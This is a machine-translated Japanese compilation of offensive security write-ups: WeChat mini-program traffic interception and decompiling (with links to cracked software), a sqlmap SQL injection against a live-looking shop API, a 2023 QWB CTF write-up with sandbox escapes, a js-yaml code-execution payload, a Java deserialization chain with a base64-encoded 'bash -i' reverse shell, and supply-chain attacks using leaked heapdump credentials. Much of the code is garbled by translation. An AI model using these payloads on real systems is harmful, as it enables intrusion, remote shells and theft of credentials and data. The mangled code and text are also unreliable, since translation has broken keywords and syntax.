オンラインミニプログラムのほとんどは、Androidエミュレーターを使用してパケットをキャプチャします。ここでは、Burpsuite+Proxifer+Wechatクライアントのパケットをキャッチする方法を使用します。

環境準備

burp2023.9.2

proxifier4.5

Proxifierは非常に強力なSocks5クライアントであり、プロキシサーバーの使用をサポートせず、HTTPSまたはソックス、またはプロキシチェーンを渡すことができるワーキングネットワークプログラムを可能にします。これは有料のソフトウェアであり、31日間の無料トライアルであり、ここにひび割れたバージョンのリンクがあります

リンク:https://pan.baidu.com/s/14qelygxdpmbgtucftpl4tq?pwd=7o50

抽出コード:7o50

图片1.png

次のものをインストールするだけで、インストール後に開くだけです

图片2.png

クリックして登録して、あなたの名前を何気なく書き、登録コードを何気なくコピーし、[OK]をクリックします

プロキシフィア構成

プロキシフィアを開き、プロファイルをクリックしてプロキシサーバーを追加します

图片3.png

图片4.png

アドレス127.0.0.1、ポートカスタマイズ、ここに8888、プロトコル選択httpsがあります

引き続きプロキシルールを追加します

WeChatでミニプログラムを開くと、プロセスに追加のWeChatappexがあります

图片5.png

このプログラムは、WeChat Miniプログラムのプロセスです

ルールを追加します

图片7.png

アプリケーションは、アプレットプロセスアプリケーションを選択し(ここに手動で入力できます)、アクションは新しく作成されたプロキシサーバーを選択します。

げっぷの構成

图片8.png

プロキシリスナーとプロキシサーバーをプロキシファイアのプロキシサーバーを編集して、127.0.0.1:8888をリッスンします

この時点で、WeChatはミニプログラムを開き、WeChatappexのトラフィックが最初にプロキシファイアを通過し、次に127.0.0.1:8888を使用して图片9.pngを使用することがわかります。

これで、通常はWebサイトをテストするように、げっぷでパケットをテストできます

ミニプログラムの逆コンパイル

图片10.png

WeChatファイルがWeChatの設定に保存されている場所を見つけることができます

图片11.png

ディレクトリのアプレットは、ミニプログラムキャッシュファイルのストレージアドレスです

图片12.png

通常使用するミニプログラムが多いほど、対応するファイルが増えます。テストするミニプログラムパッケージが見つからない場合は、変更日に従って見つけるか、単にすべてのキャッシュされたファイルを削除してから、テストするミニプログラムを再開します。

图片13.png

この時点で、アプレットに対応するキャッシュフォルダーをテストしたいのは

内部をクリックして、解決したいパッケージのロックを解除します

图片14.png

これは暗号化されたパッケージです。ユーザーがWeChatのアプレットのQRコードを検索またはスキャンすると、WeChat BackEndはアプレットの関連情報を.wxapkgファイルにパッケージ化し、ユーザーのデバイスに送信します。このファイル形式は、実際には圧縮パッケージであり、すべてのアプレットのコード、リソース、構成ファイル、その他のコンテンツ、および特定の説明ファイルapp.jsonが含まれています。

暗号化されたパッケージなので、最初に復号化しましょう。以下はボスの復号化ツールへのリンクです

リンク:https://pan.baidu.com/s/1bzfvbvwd4vlpakx9payrsg?pwd=qz3z

抽出コード:QZ3Z

图片15.png

暗号化されたパッケージを選択します

图片16.png

復号化が成功した後、ツールディレクトリのwxpackディレクトリで

图片17.png

次の逆コンパイル

最初にnodejsをインストールし、リンクhttps://nodejs.org/zh-cn/download/をダウンロードして、インストールして次のステップに進みます。インストール後、環境変数を追加します

图片18.png

環境変数を追加すると、CMD入力コマンドがエコーされます。

图片19.png

次に、逆コンパイルツールwxappunpackerを使用します

オリジナルリンク3https://github.com/system-cpu/wxappunpacker

ネットワークディスクリンク:https://pan.baidu.com/s/19o2kdqwn2zyars8arej1lq?pwd=22qj

抽出コード:22QJ

ツールディレクトリにご覧ください

インストール

图片20.png

インストール依存関係

npmインストールesprima

NPMインストールCSS-Tree

npmインストールcssbeautify

NPMインストールVM2

npmインストールuglify-es

NPMインストールjs-beautify

上記のコマンドを1つずつ実行します

上記のコマンドを1つずつ実行します

次の逆コンパイル

コマンドを実行します

Node wuwxapkg.js復号化後のアプレットへのパス

图片21.png

图片22.png

実行後、ディレクトリは逆コンパイルパッケージのディレクトリに生成されます。

图片23.png

图片24.png

それはあなたが逆コンパイル後に得るファイルです

WeChat開発者ツールをダウンロードします

公式ウェブサイトのダウンロードリンク

https://ServiceWechat.com/wxa-dev-logic/download_redirect?type=win32_x64from=mpwikidownload_version=1062308310version_type=1

インストール後に開きます

图片25.png

[サインの追加]をクリックします

图片26.png

分解されたディレクトリを選択すると、バックエンドサービスはクラウドサービスを使用しません。 [OK]をクリックします

图片29.png

アプレットのJSコードを表示できます

テスト

クリックして確認コード機能を送信します

图片30.png

/api/shop/ipad/login/smsパスです

コード内の関数を送信するためのコードを見つけます

图片31.png

/login /smsのみが見つかりました

これで、パスアクセスルールが基本的に確認されています。 /API/Shop/iPadにインターフェイスをスプライシングした後、許可なしにスプライスする他のインターフェイスを見つけます。

ホームページへのパスを見つけます

图片32.png

パケットを直接送信して404を返します

图片33.png

スプライシング/API/SHOP/iPadの後のパッケージ

图片34.png

パスが正しいことを確認できますが、不正はありません。このパスは存在しません。これは、すべてのインターフェイスが存在しないことを完全に意味するものではありません。おそらく、欠落しており、認証されていないいくつかのインターフェイスがあります。

偶然

検証コードを送信したばかりのインターフェイスを見て、SMS爆撃などがあるかどうかを確認します

图片35.png

/login /smsインターフェイスにアクセスし、ポストでモバイルパラメーターを受信します

建設パッケージ

图片36.png

存在しない携帯電話番号を入力し、携帯電話番号を正しく表示します

图片37.png

また、実際のものを入力する際のエラーでもあります。システムに存在するアカウント番号のみが有効になる可能性があります。

パラメーターが表示されたときに単一の引用を使用できます

图片38.png

ああ、単一の引用を追加します

图片39.png

ああ免除+1

Return Packetを調べて使用する.NETを伝えることができます。私は個人的に、このフレームワークが多く注入されていると思います、そして、私はそれをエコーせずにマニュアルベットを使用しようとします。 SQLMAPは、シャトル、HTTPSに加えて、-force-SSLパラメーターです

图片40.png

SQLインジェクションが正常に使い果たされ、スタックインジェクションでした。

图片41.png

元のリンクから転載:https://forum.butian.net/share/2477

Misc

easyfuzz

1.文字列を入力しようとすることにより、入力文字のプログラムの検証ルールは9文字であると判断され、正しい文字が満たされている限り、最後の返品値はすべて111111111111111111111111111111111111

1049983-20231220102232383-2117306380.jpgは大胆に推測し続け、試してみてください。最初の2つのキャラクターは110000000を満たす任意のキャラクターであることができるため、最後の7文字を破壊できます。

1049983-20231220102232956-1570359645.png

2。ビットごとに爆発し、アイデアが正しいことを確認します、最後のビットは文字列「d」です

1049983-20231220102233640-77832507.png3。バーストスクリプトを書きます。文字列の長さが9ビットで入力されると、「ここにコードカバレッジ: 110000000」ではない結果とともに印刷されます。スクリプトは次のとおりです

PWNインポートから *

文字列インポートから印刷可能

conn=remote( '101.200.122.251'、12199)

non_matching_strings=[]

範囲のIの場合(9):

Printable:のcharの場合

ペイロード='A'*i + char + 'a'*(8-i)

print(conn.recvuntil(b'enter a string(10バイト未満): '))

conn.sendline(payload.encode())

response=conn.recvline()。decode()。strip()

応答!='ここにコードカバレッジ: 110000000':があります

non_matching_strings.append(ペイロード)

non_matching_strings:の文字列の場合

印刷(文字列)

フラグ:qwb {youknowhowtofuzz!}

サインイン

フラグ{welcome_to_qwb_2023}

pyjail!それはmyfilter !!!

です

Pythonサンドボックスエスケープは、閉じた後、環境を直接読み取り、フラグを取得する

{13212} '+(print(open('/proc/1/Environ ')。read())+'

または、payload:を使用します

{print(open( '/proc/1/Environ')。read())}

1049983-20231220102234429-840188246.jpg 1049983-20231220102235091-904152452.jpgFLAG {61E81B4F-566C-49F5-84DD-D79319FDDC82}

pyjail!それはmyRevenge !!!

です

Pythonサンドボックスエスケープ

ファイルのインポートOS; os.system( "nl fl*hzy")を書き込み、読み取りを使用して実行コンテンツを読んでフラグを取得する

すべてのフィルター文字はOctalでバイパスされ、セグメントで書かれています

{13212} '+(open(' wsy '、' a ')。書き込み(' 15115160157162 '))+' {13212} '+(open(' wsy '、' a ')。 'a')。write( '163; 157'))+'{13212}'+(open( 'wsy'、 'a')。write( '163。'))+'{13212}'+(open( 'wsy'、 'a')。 'a')。write( 'st'))+'{13212}'+(open( 'wsy'、 'a')。write( 'em(' nl 146*hzy ')')+'{13212}'+open( '143157de.py'、 'w')。

または、次のPOC:を順番に実行します

{globals()。update(dict(my_filter=lambda x:1))} '' {in''put()} '#

{globals()。update(dict(len=lambda x:0))} '' {in''put()} '#

{print( '' .__ class __.__ mro __ [1] .__サブクラス__()[137] .__ init __.__グローバル__ ['__ builtins __'] ['__ import __']( 'os')。

['flag_26f574f8cee82d06fedc45cf5916b86a732dd326ce1cb2c9a96751e072d0a104'、 'server_8f6c72124774022b.py']

{globals()。update(dict(my_filter=lambda x:1))} '' {in '' put()} '#

{globals()。 update(dict(len=lambda x:0))} '' {in '' put()} '#

{print(open( 'flag_26f574f8cee82d06fedc45cf5916b86a732dd326ce1cb2c9a96751e072d0a104')。read()}}}

1049983-20231220102235740-1742558554.jpg

フラグ{8F0A4AC2-52D3-4ADB-A1A3-47E05997817D}

wabby wabbo Radio

f12は、wav/static/audios/xh4.wavへのリンクを取得できます

1049983-20231220102236427-57165101.jpgはそれを更新し、それがランダムにプレイするために選択されていることを発見しました。

それを曖昧にすると、合計xh1-xh5とhint1-hint2とflag.wavがあります

各波の左のボーカルは明らかに苔です

1049983-20231220102237104-943477565.jpg

独立したチャネル、振幅を増やし、オンラインWebサイトを説明します

https://MORSECODE.world/international/decoder/audio-decoder-adaptive.html

得る:

旗が欲しいですか?もう少し長く聞いてみましょう。ゲンシンの衝撃の始まり。今日の天気は本当にいいです。 Wabby Wabbo Radioを聴くのは素晴らしい日です。それを行う方法がわからない場合、最初に何か他のことをすることができます。

他に役に立つものはありません、QAMキャリアの振幅を1つだけプロンプトします

https://info.support.huawei.com/info-finder/encyclopedia/zh/qam.html#qam'sホロスコープ

簡単な理解の後、私は01が振幅によって区別できることを発見しました。振幅を印刷しようとしましたが、それらはすべて±1と±3の間に濃縮されることがわかりました。

1049983-20231220102237866-1291932793.jpg 16Qam星座図を比較すると、振幅は信号対応を形成するだけであることがわかりますが、特定の対応が何であるかはわかりません。私たちは盲目的に小さいから大規模に推測します。

簡単なスクリプトは次のとおりです。

scipy.io.wavfileをwavとしてインポートします

npとしてnumpyをインポートします

sysをインポートします

sample_rate、data=wav.read( 'flag.wav')

data:のiの場合

印刷(i)

flag=''

def Repla(n):

n==-3:の場合

「00」を返す

elif n==-1:

「01」を返す

elif n==1:

「10」を返す

elif n==3:

「11」を返す

x、y in data:の場合

n1=round(float(x))

n2=round(float(y))

flag +=repla(n1)

flag +=repla(n2)

print(flag)

1049983-20231220102238733-2090115571.jpg

スパイシャドウ3.0

ヒントを与える:紙の飛行機も飛行機であり、海の反対側に海外に飛ぶこともできます。トピックの説明によると、特別なトンネルをVPNとして関連付けるのは簡単です

少し検索すると、シャドークスクにつながります、リファレンス記事:

https://phuker.github.io/posts/shadowsks-active-probing.html

完全な復号化スクリプトが与えられましたが、キーがわからないので、リクエストを成功させるために識別子としてHTTPを爆発させただけです。

#!/usr/bin/env python3

#encoding: utf-8

OSをインポートします

sysをインポートします

ロギングをインポートします

Hashlibをインポートします

crypto.cipher Import AESから

logging.basicconfig(level=logging.info)

def evp_bytestokey(password、key_len、iv_len):

m=[]

i=0

while len(b ''。結合(m))(key_len + iv_len):

md5=hashlib.md5()

データ=パスワード

0:の場合

データ=m [i -1] +パスワード

md5.update(データ)

M.Append(md5.digest())

I +=1

ms=b ''。参加(m)

key=ms [:key_len]

iv=ms [key_len3360key_len + iv_len]

リターンキー、iv

def Decrypt(cipher、password):

key_len=int(256/8)

IV_LEN=16

モード=aes.mode_cfb

key、_=evp_bytestokey(password、key_len、iv_len)

cipher=bytes.fromhex(cipher)

iv=cipher [:iv_len]

real_cipher=cipher [iv_len:]

obj=aes.new(key、mode、iv、segment_size=128)

Plain=obj.decrypt(real_cipher)

平野を返します

def main():

#HTTPリクエストをテストします

cipher='E0A77DFAFB6948728EF45033116B34FC855E7AC8570CAED829CA9B4C32C2F6F79184E333445C6027E18 A6B53253DCA03C6C464B8289CB7A16AA17666A0325EE842F9A766B81039FE50C5DA12DFAA89ECCE17B1 1BA9748899B49B071851040245FA5EA1312180DEF3D7C0F5AF697343544A8A342E8FCD2B1759086EAD1 24E39A8B3E2F6DC5D56AD7E8548569EE98EC363F87930D4AF80E984D0103036A91BE4AD76F0CFB00206 '

f:としてopen( 'rockyou.txt'、 'rb')

lines=f.readlines()

ライン:のパスワードの場合

Plain=Decrypt(cipher、password.strip())

Plain:のb'http 'の場合

印刷(パスワード、プレーン)

__name__=='__main __' :の場合

主要()

#b'superman \ n 'b' \ x03 \ x0f192.168.159.131 \ x00pget /why-you-you-you-want this-is http /1.1 \ r \ nhost: 192.168.159.131 \ r \ nuur-agent3360 curl/8.4.0 \ r \ naccept: */*\ r \ nconnection: close \ r \ n \ r \ n '

ファイル名を取得してください理由は何ですか?

フラグ{DC7E57298E65949102C17596F1934A97}

スパイシャドウ2.0

トピックの説明によれば、航空機の交通はADS-Bプロトコルに簡単に関連付けることができます

TCPストリームデータをエクスポートします

tshark -r attach.pcapng -y 'tcp' -t fields -e tcp.segment_data tcp.txt

解析スクリプト:

ピモードをインポートします

f:としてopen( 'tcp.txt'、 'r')

lines=f.readlines()

ライン:のデータの場合

Len(data)==47:の場合

print(pymodes.decoder.tell(data [18:]))

空中速度をフィルターし、79A05Eの最速飛行機は371ノットで、MD5 ICAOアドレスはフラグです

1049983-20231220102239481-10217306.jpgまたは

パケットをJSON形式にエクスポートします

1049983-20231220102240331-759824562.png

スクリプトを使用してフィールドを抽出し、MD5を実行します

JSONをインポートします

PMSとしてPymodをインポートします

Hashlibをインポートします

file:として、open( '123.json'、 'r'、encoding='utf-8')を使用します

data=json.load(file)

情報=[]

data:のパケット用

パケット['_ source']および「tcp」の「層」['_ source'] ['layers'] :の場合

tcp_layer=packet ['_ source'] ['layers'] ['tcp']

tcp_layer:の「tcp.payload」の場合

tcp_payload=tcp_layer ['tcp.payload']。

info.append(tcp_payload)

planes_data=[]

Info:のIの場合

msg=i [18:]

pms.adsb.typecode(msg)=19およびpms.adsb.typecode(msg)=22:の場合

icao=pms.adsb.icao(msg)

velocity_info=pms.adsb.velocity(msg)

速度、トラック、vertical_rate、_=velocity_info

plane_info={'icao': icao、' speed ': speed、 'track ':トラック、' vertical_rate': vertical_rate}

planes_data.append(plane_info)

fastest_plane=max(planes_data、key=lambda x: x ['speed'])

print(hashlib.md5(fastest_plane ['icao']。上()。encode())。hexdigest()))

#flag {4cf6729b9bc05686a79c1620b0b1967b}

ハッピーチェス

予想外であるはずです。いつでも9つの位置を入力し、ラウンドを直接終了します。成功したと見なされます。

1049983-20231220102241092-1866057286.jpg

強いネットパイオニア

speedup

純粋なソーシャルワークの問題は、27の力に対する要因の合計を必要とし、OEISにはこの値が直接あります

https://oeis.org/a244060/list

2023 强网杯 writeup by Arr3stY0u

SHA256の後、フラグを取得します

flag {bbdee5c548fddfc76617c562952a3a3b03d423985c095521a86661d248fad3797}

pngを見つけましたか?

文字列main.mem | grep 'linuxバージョン」

1049983-20231220102242746-1827208583.jpgカーネルバージョンを取得したら、写真を撮ります

https://Treasure-house.randark.site/blog/2023-10-25-memoryforensic-test/

Linuxプロファイルを作成します

Python2 vol.py -f C:USERS22826DESKTOPMAIN.MEM -PROFILE=LINUXUBUNTU2004X64 LINUX_FIND_FILE -L | sindstr 'デスクトップ'

デスクトップにファイルを見つけることができますhave_your_fun.jocker

1049983-20231220102243633-2077410566.jpgはエクスポートを試みましたが、空です

python2 vol.py -f C:USERS22826DESKTOPMAIN.MEM -PROFILE=Linux

web

ai_java

最初に添付ファイルアカウントを介してアカウント番号を取得するimage.png image.png

Base64またはJSFuckを介してJSとCのプロンプトを取得できます。 JSを監査すると、C機能を確認して実行できます。 GitHubプロジェクトアドレスimage.pngを入手してください

送信履歴を見つけるソースコードimage.pngを見つけました

監査ソースコードは、承認なしにspring – bootが存在する可能性があることを発見しましたimage.png

FastJsonの解析は、管理者のページimage.pngの下にある/post_message/interfaceに存在します

image.png

特定のバージョンを確認して、LADPを直接攻撃することは不可能であることがわかります。依存関係を確認してください

ディスカバリーはシロを紹介しました。 SerializedData + LDAP攻撃を使用します。シェルを跳ね返すための依存性CB

パブリッククラスCB {

public static void setFieldValue(オブジェクトOBJ、文字列フィールド名、オブジェクト

t値)スロー例外{

フィールドフィールド=obj.getClass()。getDeclaredField(FieldName);

field.setAccessible(true);

field.set(obj、value);

}

public static Comparator GetValue(オブジェクトインスタンス)がNosuchfielを投げます

DEXCEPTION、ILLEGALACCESSEXCEPTION {

クラス? clazz=instance.getClass();

//プライベート変数のフィールドオブジェクトを取得します

Field Privatefield=clazz.getDeclaredfield( 'instance');

//プライベート変数のアクセス権限を設定します

privatefield.setAccessible(true);

//プライベート変数の値を取得します

オブジェクト値=privatefield.get(instance);

return(Comparator)Value;

}

public static byte [] getPayload()スロー例外{

classpool pool=classpool.getDefault();

ctclass clazz=pool.get(veol.class.getname());

byte [] code=clazz.tobytecode();

templatesimpl obj=new TemplatesImpl();

setFieldValue(obj、 '_bytecodes'、new byte [] [] {code});

SetFieldValue(obj、 '_name'、 'tvt');

setFieldValue(obj、 '_tfactory'、new TransformerFactoryImpl());

最終的なbeancomparator Comparator=new BeanComparator(null、getva

lue(new Headers()));

キューキュー=新しい優先度(2、コンパレータ);

queue.add( '1');

queue.add( '1');

SetFieldValue(Comparator、 'Property'、 'outputProperties');

setFieldValue(queue、 'queue'、new Object [] {obj、obj});

bytearrayoutputStream barr=new bytearrayoutputStream();

ObjectOutputStream OOS=new objectOutputStream(barr);

oos.writeobject(queue);

oos.close();

byte [] bytearray=barr.tobytearray();

string base64EncodedData=base64.getEncoder()。encodetostring(by

Tearray);

System.out.println(base64encodedData);

bytearrayを返します。

}

}

パブリッククラスの悪は抽象的なトランスレットを拡張します{

public void transform(dom var1、serializationhandler [] var2)スロー

transletexception {

}

public void transform(dom var1、dtmaxisiterator var2、serializationh

Andler var3)transletexceptionをスローする{

}

public static void main(string [] args)スロー例外{

runtime.getRuntime()。exec( 'bash -c {echo、5l2g5ooz6lwj5lua5lmi44cc5yaz6ieq5bex555qe5zg95luk} | {base64、-d} | {bash、-i}');

}

Public Evil()Throws Exception {

runtime.getRuntime()。exec( 'bash -c {echo、5l2g5ooz6lwj5lua5lmi44cc5yaz6ieq5bex555qe5zg95luk} | {base64、-d} | {bash、-i}');

}

}

パブリッククラスldapserialserver {

private static final string ldap_base='dc=example、dc=com';

public static void main(string [] tmp_args){

string [] args=new String [] {'http://127.0.0.1:8000/#邪悪なクラス'};

int port=7777;

試す {

InmeMoryDirectoryServerConfig config=new InmeMoryDirectory

serverconfig(ldap_base);

config.setlistenerconfigs(new inmemorylistenerconfig(

「聞く」、//$ non-nls-1 $

inetaddress.getByname( '0.0.0.0')、//$ non-nls-1 $

ポート、

ServersocketFactory.getDefault()、

socketfactory.getDefault()、

(sslsocketfactory)sslsocketfactory.getDefault()));

config.addinmemoryOperationInterceptor(new OperionsIntercep

tor(new URL(args [0])));

InmemoryDirectoryServer DS=new InmemoryDirectoryServer(con

イチジク);

System.out.println( '0.0.0.03360' +ポートで聞く); //$ non-n

LS-1 $

ds.startlistening();

}

catch(例外e){

e.printstacktrace();

}

}

Private Static Class OperationEnterceptorは、Inmemoryoperationiを拡張します

nterceptor {

プライベートURLコードベース。

Pulily OperysInterceptor(URL CB){

this.codebase=cb;

}

@オーバーライド

public void processSearchResult(inmemoryInterceptedSearchResul

結果の結果){

string base=result.getRequest()。getBasedN();

エントリe=new entry(base);

試す {

sendResult(result、base、e);

}

catch(例外E1){

e1.printstacktrace();

}

}

保護されたvoid sendResult(inmemoryinterceptedsearchResult resu

LT、文字列ベース、エントリe)例外をスローする{

system.out.println( '' + base +のLDAP参照結果を送信します

「CBガジェットを返します」);

e.Addattribute( 'Javaclassname'、 'Deserpayload'); //$ non-nls-

1 $

string base64EncodedData='ro0abxnyabdqyxzhlnv0awwuhjpb3jp

dhlrdwv1zztamlt7p4kxawacsqaec2l6zuwacmnvbxbhcmf0b3j0abzmamf2ys91dglsl0n

vbxbhcmf0b3i7ehaaaaacc3iak29yzy5hcgfjaguuy29tbw9ucy5izwfudxrpbhmuqmvhbk

nvbxbhcmf0b3ljoyjqcykksaiaakwacmnvbxbhcmf0b3jxah4aauwachbyb3blcnr5daast

GPHDMEVBGFUZY9TDHJPBMC7EHBZCGA/Y29TLNN1BI54BWWUAW50ZXJUYWWUD3MUDHJHBNNW

b3j0lkhlywrlcnmksw5zzw5zaxrpdmvdb21wyxjhdg9yyieexdpxa/ecaab4chqaeg91dhb

1dfbyb3blcnrpzxn3baaaaanzcga6y29tlnn1bi5vcmcuyxbhy2hllnhhbgfulmludgvybm

fslnhzbhrjlnryyxguvgvtcgxhdgvzsw1wbalxt8furkszawagsqanx2luzgvude51bwjlc

KKADL90CMFUC2XLDELUZGV4WWAKX2J5DGVJBJB2RLC3QAA1TBQLSABL9JBGFZC3QAELTMAMF2

ys9syw5nl0nsyxnzo0wabv9uyw1lcqb+aarmabffb3v0chv0uhjvcgvydgllc3qafkxqyxz

hl3v0awwvuhjvcgvydgllczt4caaaad /////dxiaa1tbqkv9grvnz9s3agaaeaaabdx

iaaltcrpmx+ayivoacaab4caaabink/rq+aaaana1cgaiacmiacqkaciajqoajgancgaha

CGHACKHACOBAAL0CMFUC2ZVCM0BAHIOTGNVBS9ZDW4VB3JNL2FWYWNOZS94YWXHBI9PBNRL

CM5HBC94C2X0Y9ET007W0XJB20VC3VUL29YZY9HCGFJAGUVEG1SL2LUDGVYBMFSL3NLCML

hbgl6zxivu2vyawfsaxphdglvbkhbmrszxi7kvybaardb2rlaqaptgluzu51bwjlclrhym

xlaqastg9jywxwyxjpywjszvrhymxlaqaedghpcweabkxldmlsoweabhzhcjebac1my29tl

3N1BI9VCMCVYXBHY2HLL3HBGFUL2LUDGVYBMFSL3HZBHRJL0RPTTSBAAR2YXIYAQBCW0XJ

B20VC3VUL29YZY9HCGFJAGUVEG1SL2LUDGVYBMFSL3NLCMMLHBGL6ZIVU2VYAWFSAXPHDGL

vbkhbmrszxi7aqakrxhjzxb0aw9ucwcakweapihmy29tl3n1bi9vcmcvyxbhy2hll3hhbg

ful2ludgvybmfsl3hzbhrjl0rptttmy29tl3n1bi9vcmcvyxbhy2hll3htbc9pbnrlcm5hb

C9KDG0VRFRNQXHPC0L0ZXJHDG9YO0XJB20VC3VUL9HCGFJAGUVEG1SL2LUDGVYBMFSL3NLC

mlhbgl6zxivu2vyawfsaxphdglvbkhbmrszxi7kvybadvmy29tl3n1bi9vcmcvyxbhy2hl

L3HTBC9PBNRLCM5HBC9KDG0VRFRNQXHPC0L0ZXJHDG9YOWEABHZHCJMBAEFMY29TL3N1BI9

vcmcvyxbhy2hll3htbc9pbnrlcm5hbc9zzxjpywxpemvyl1nlcmmlhbgl6yxrpb25iyw5kbg

vyoweabg1haw4babyow0xqyxzhl2xhbmcvu3ryaw5noylwaqaeyxjncweae1tmamf2ys9sy

w5nl1n0cmluzzshacwbaay8ay8aw5pdd4baamokvaypaptb3vyy2vgawxlaqajzxzzpbc5qyxzh

bwatdaauac8bagfiyxnoic1jihtly2hvlfltrnphq0f0yvnbk0ppowtawfl2zedod0x6utn

makv4txk0ee9ua3vnvfe0thpnne9ez2dnrdrttve9px18e2jhc2u2ncwtzh18e2jhc2gslw

l9daawadehadimadmanawahgafazxzzpbaeaqgnvbs9zdw4v3jnl2fwywnozs94ywxhb

i9pbnrlcm5hbc94c2x0y9ydw50aw1ll0fic3ryywn0vhjhbnnszxqbadljb20vc3vul29y

zy9hcgfjaguvegfsyw4vaw50zxjuywwvehhnsdgmvhjhbnnszxrfegnlchrpb24babnqyxz

hl2xhbmcvrxhjzxb0aw9uaqaramf2ys9syw5nl1j1bnrpbwubaapnzxrsdw50aw1laqavkc

lmamf2ys9syw5nl1j1bnrpbwu7aqaezxhlyweajyhmamf2ys9syw5nl1n0cmluzzsptgphd

mevbgfuzy9qcm9jzxnzoweaa0ndngeacmdldfhewxvywqbaaqokvtcaceabgahaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

AAEACAAJAAIACgAAAD8AAAAAAAAAAAAAAAAAAAGAAEAAAAALAAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0

adgaaaaaaaaqapabaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaCgaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

AAAbEAAAACAAsAAAAGAAEAAAAAAOAAWAAAAQAAQAAAABAA0ADgAAAAAAAAAQAPABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE

QAWAAIAAAABABcAGAADABMAAAAEAFAAJABkAGgACAAoAAABAAAIAQAAAA64AAESArYA

A1E4AARXSQAAAAIAACWAAAA4AAWAABEACQASAA0AEWAMAAABAAADGABABWAAAAAAAA

abaabab0aaqaeab8aagakaaaaaaaaaaaaaaaaaaaaokrcabbgaarictgadv7eaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

maaaauaaqafqanabyadaaaaawaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaqaaqaadayaaaaaaaaaaaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaqaada

An0dnrwdweaeheafganea==';

e.Addattribute( 'JavaserializedData'、base64.getDecoder()。12月

ode(base64encodedData));

result.sendsearchentry(e);

result.setResult(new ldapresult(0、resultCode.success));

}

}

}

CBを使用してBase64をエンコードし、直接呼び出さないでください。 JARパッケージの場合、内部APIエラーを防ぎます。ローカルでは、CVE-2022-22978を使用してアイデンティティ認証をバイパスし、FastJSONのキャッシュバイパスを使用し、JNDIインジェクションを実装します

開始。image.png image.png image.png

信号

まず、この質問は、他のファイル形式をyaml形式に変換し、yaml.load()がJSオブジェクトとしてロードされるためです。 GithubでJS-Yamlドキュメントの説明を見つけ、オブジェクトを解析する方法、公式Webサイトにも例を挙げてください。ここでは、それが何を解析できるかを直接調べます。image.png

発見可能な分析方法image.png

JS-YAMLバージョンは3.14.1ですが、新しいバージョンの提出と比較して

https://github.com/nodeca/js-yaml/commit/ee74ce4b4800282b2f23b776be7dc95dfe34db1c

これは、デフォルトの危険モードの最後のバージョンであり、タグを使用して任意のJS関数を構築できます。 js/function image.png

次に、テンプレートレンダリング場所で、オブジェクトのトストリング方法が自動的に呼び出されます

したがって、次のペイロードとしてファイルyamlファイルコンテンツをアップロードするだけです

'name' : {toString: js /function 'function(){flag=mainmodule.require(' child_process ')。execsync(' cat /fla*')。tostring();フラグを返します;} '}

swagger docs

1。インターフェイスドキュメントを読んで、ウェブサイト機能を把握する

2.ユーザーを登録します

http://47.108.206.43:40476/API-Base/V0/Register

{'username':'admin'、 'password':'admin'}

3。ログインします

http://47.108.206.43:40476/api-base/v0/login

{'username':'admin'、 'password':'admin'}

4.任意のファイルを読み取ります

テストでは、ファイルの読み取りが/api-base/v0/searchインターフェイスに存在することがわかりました

プロセスを読んでください

http://47.108.206.43:40476/api-base/v0/search?file=./././././proc/1/cmdlineType=テキスト

ソースコードの場所を読んでください

http://47.108.206.43:40476/api-base/v0/search?file=././././app/run.shtype=text

ソースコードを読んでください

5。コード監査

image.png

/api-base/v0/searchにはrender_template_string()があることがわかりました。これにより、STIがRCEを引き起こす可能性があり、レンダリングコンテンツのみを制御する必要があります。

UAPATE()関数にはプロトタイプチェーンに似た汚染があり、環境を変更するために使用できます。

1。サプライチェーン

長年の攻撃的および防御的な対立の後、多数のターゲットユニットが安全保護の重要性を徐々に実現しました。したがって、彼らは可能な限り資産のエクスポージャーを制約し、さまざまなセキュリティデバイスの展開を2倍にするための措置を講じました。ただし、安全保護は包括性に焦点を当てており、明確な短期的な効果があります。短期的な状況が発生すると、保護システム全体が即座に崩壊する可能性があります。ターゲットユニットのサプライチェーンは、多くの場合、これらの弱点を集中しています。これらのサプライチェーンは暴露されるだけでなく、複雑な関係のためにそれらの監視と管理をより困難にします。したがって、攻撃チームは通常、サプライチェーンから開始し、ターゲットユニットの強力な防御システムを回り道でバイパスし、ターゲットユニットを制御することを選択します。

検索エンジンで「システム名」ターゲットユニットを検索します

image.png

関連するサプライヤー情報を見つけ、サプライヤーを攻撃することにより、ターゲットユニットのデータと許可を取得します。

image.png

1.1、heapdumpリーク

サプライヤー資産を貫通することにより、特定の資産の管理ディレクトリにHeapdumpファイルのリークが見つかったことがわかりました。

image.png

ここでは、Heapdumpの使用について詳しく説明しません。多くの記事は、その原則と利用に関する詳細な研究を実施しています。 RCEは、特定の状況下で直接実行できます。ここには大量の機密情報が漏れており、パスワード情報がパスワードブックに追加されます。

image.png

Minioにログインして、ターゲットユニットに関する大量の機密情報を見つけます。また、他のユニットに関する機密情報もあります。

image.png

NACOSにログインし、多数の構成ファイルを追加し、パスワードブックにパスワード情報を追加してください![]

image.png

OSSにログインして、ターゲットユニットに関する大量の機密情報を発見します

image.png

1.2。 WeChatアプレットインターフェイスは承認されていません

1.2.1。 WeChatアプレットの開梱

